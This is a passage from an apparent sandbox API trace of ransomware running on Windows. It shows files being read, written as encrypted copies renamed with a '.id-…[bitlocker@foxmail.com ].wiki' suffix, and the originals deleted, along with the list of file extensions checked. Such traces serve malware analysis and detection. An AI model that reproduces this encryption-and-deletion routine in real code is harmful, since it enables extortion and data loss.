nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.426] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0060.426] CloseHandle (hObject=0x188) returned 1 [0060.426] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0060.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.427] lstrlenW (lpString=".doc") returned 4 [0060.427] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0060.427] lstrlenW (lpString=".docx") returned 5 [0060.427] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0060.427] lstrlenW (lpString=".pdf") returned 4 [0060.427] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0060.427] lstrlenW (lpString=".xls") returned 4 [0060.427] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0060.427] lstrlenW (lpString=".xlsx") returned 5 [0060.427] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0060.427] lstrlenW (lpString=".ppt") returned 4 [0060.427] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0060.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.427] lstrlenW (lpString=".zip") returned 4 [0060.427] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0060.427] lstrlenW (lpString=".rar") returned 4 [0060.427] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0060.427] lstrlenW (lpString=".bz2") returned 4 [0060.427] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0060.427] lstrlenW (lpString=".7z") returned 3 [0060.427] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0060.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.427] lstrlenW (lpString=".dbf") returned 4 [0060.427] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0060.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.427] lstrlenW (lpString=".1cd") returned 4 [0060.427] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0060.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.427] lstrlenW (lpString=".jpg") returned 4 [0060.427] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.428] lstrlenW (lpString=".doc") returned 4 [0060.428] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString=".docx") returned 5 [0060.428] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0060.428] lstrlenW (lpString=".pdf") returned 4 [0060.428] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString=".xls") returned 4 [0060.428] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString=".xlsx") returned 5 [0060.428] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0060.428] lstrlenW (lpString=".ppt") returned 4 [0060.428] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.428] lstrlenW (lpString=".zip") returned 4 [0060.428] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString=".rar") returned 4 [0060.428] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString=".bz2") returned 4 [0060.428] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0060.428] lstrlenW (lpString=".7z") returned 3 [0060.428] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0060.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.428] lstrlenW (lpString=".dbf") returned 4 [0060.428] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0060.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.428] lstrlenW (lpString=".1cd") returned 4 [0060.428] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0060.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0060.428] lstrlenW (lpString=".jpg") returned 4 [0060.428] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0060.429] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0060.429] lstrlenW (lpString="DW20.EXE") returned 8 [0060.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0062.386] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=994184) returned 1 [0062.386] CloseHandle (hObject=0x164) returned 1 [0062.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0062.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0063.052] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.052] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.053] GetLastError () returned 0x0 [0063.053] ReadFile (in: hFile=0x22c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0063.215] WriteFile (in: hFile=0x240, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0063.380] ReadFile (in: hFile=0x22c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.380] WriteFile (in: hFile=0x240, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0063.381] SetEndOfFile (hFile=0x240) returned 1 [0063.381] CloseHandle (hObject=0x240) returned 1 [0063.381] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.381] SetEndOfFile (hFile=0x22c) returned 1 [0063.389] CloseHandle (hObject=0x22c) returned 1 [0063.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.389] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0063.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.389] lstrlenW (lpString=".doc") returned 4 [0063.389] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0063.389] lstrlenW (lpString=".docx") returned 5 [0063.389] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0063.389] lstrlenW (lpString=".pdf") returned 4 [0063.389] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0063.389] lstrlenW (lpString=".xls") returned 4 [0063.389] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0063.389] lstrlenW (lpString=".xlsx") returned 5 [0063.389] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0063.389] lstrlenW (lpString=".ppt") returned 4 [0063.389] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0063.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.389] lstrlenW (lpString=".zip") returned 4 [0063.389] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString=".rar") returned 4 [0063.390] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString=".bz2") returned 4 [0063.390] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0063.390] lstrlenW (lpString=".7z") returned 3 [0063.390] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0063.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.390] lstrlenW (lpString=".dbf") returned 4 [0063.390] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0063.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.390] lstrlenW (lpString=".1cd") returned 4 [0063.390] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0063.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.390] lstrlenW (lpString=".jpg") returned 4 [0063.390] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.390] lstrlenW (lpString=".doc") returned 4 [0063.390] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0063.390] lstrlenW (lpString=".docx") returned 5 [0063.390] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0063.390] lstrlenW (lpString=".pdf") returned 4 [0063.390] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString=".xls") returned 4 [0063.390] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString=".xlsx") returned 5 [0063.390] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0063.390] lstrlenW (lpString=".ppt") returned 4 [0063.390] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.390] lstrlenW (lpString=".zip") returned 4 [0063.390] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString=".rar") returned 4 [0063.390] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0063.390] lstrlenW (lpString=".bz2") returned 4 [0063.390] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0063.391] lstrlenW (lpString=".7z") returned 3 [0063.391] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0063.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.391] lstrlenW (lpString=".dbf") returned 4 [0063.391] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0063.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.391] lstrlenW (lpString=".1cd") returned 4 [0063.391] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0063.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0063.391] lstrlenW (lpString=".jpg") returned 4 [0063.391] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0063.391] lstrcmpiW (lpString1=".WPG", lpString2=".wiki") returned 1 [0063.391] lstrlenW (lpString="MS.WPG") returned 6 [0063.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.940] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1382) returned 1 [0063.940] CloseHandle (hObject=0x214) returned 1 [0063.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0063.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.941] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.941] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.963] GetLastError () returned 0x0 [0063.963] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x566, lpOverlapped=0x0) returned 1 [0063.971] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x570, lpOverlapped=0x0) returned 1 [0063.973] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.973] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0063.973] SetEndOfFile (hFile=0x21c) returned 1 [0063.973] CloseHandle (hObject=0x21c) returned 1 [0063.973] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.973] SetEndOfFile (hFile=0x214) returned 1 [0063.974] CloseHandle (hObject=0x214) returned 1 [0063.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.974] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0063.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.975] lstrlenW (lpString=".doc") returned 4 [0063.975] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString=".docx") returned 5 [0063.975] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0063.975] lstrlenW (lpString=".pdf") returned 4 [0063.975] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString=".xls") returned 4 [0063.975] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0063.975] lstrlenW (lpString=".xlsx") returned 5 [0063.975] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0063.975] lstrlenW (lpString=".ppt") returned 4 [0063.975] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.975] lstrlenW (lpString=".zip") returned 4 [0063.975] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0063.975] lstrlenW (lpString=".rar") returned 4 [0063.975] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString=".bz2") returned 4 [0063.975] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString=".7z") returned 3 [0063.975] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0063.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.975] lstrlenW (lpString=".dbf") returned 4 [0063.975] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.975] lstrlenW (lpString=".1cd") returned 4 [0063.975] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.975] lstrlenW (lpString=".jpg") returned 4 [0063.975] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0063.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.975] lstrlenW (lpString=".doc") returned 4 [0063.975] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0063.976] lstrlenW (lpString=".docx") returned 5 [0063.976] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0063.976] lstrlenW (lpString=".pdf") returned 4 [0063.976] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0063.976] lstrlenW (lpString=".xls") returned 4 [0063.976] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0063.976] lstrlenW (lpString=".xlsx") returned 5 [0063.976] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0063.976] lstrlenW (lpString=".ppt") returned 4 [0063.976] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0063.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.976] lstrlenW (lpString=".zip") returned 4 [0063.976] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0063.976] lstrlenW (lpString=".rar") returned 4 [0063.976] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0063.976] lstrlenW (lpString=".bz2") returned 4 [0063.976] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0063.976] lstrlenW (lpString=".7z") returned 3 [0063.976] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0063.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.976] lstrlenW (lpString=".dbf") returned 4 [0063.976] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0063.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.976] lstrlenW (lpString=".1cd") returned 4 [0063.976] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0063.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0063.976] lstrlenW (lpString=".jpg") returned 4 [0063.976] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0063.976] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0063.976] lstrlenW (lpString="msitss55.dll") returned 12 [0063.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.980] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=430080) returned 1 [0063.980] CloseHandle (hObject=0x214) returned 1 [0063.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0063.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.981] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.981] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.981] GetLastError () returned 0x0 [0063.981] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x69000, lpOverlapped=0x0) returned 1 [0064.000] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x69010, lpOverlapped=0x0) returned 1 [0064.008] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0064.008] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.008] SetEndOfFile (hFile=0x21c) returned 1 [0064.008] CloseHandle (hObject=0x21c) returned 1 [0064.008] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.008] SetEndOfFile (hFile=0x214) returned 1 [0064.012] CloseHandle (hObject=0x214) returned 1 [0064.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.012] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0064.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0064.012] lstrlenW (lpString=".doc") returned 4 [0064.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.013] lstrlenW (lpString=".docx") returned 5 [0064.013] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 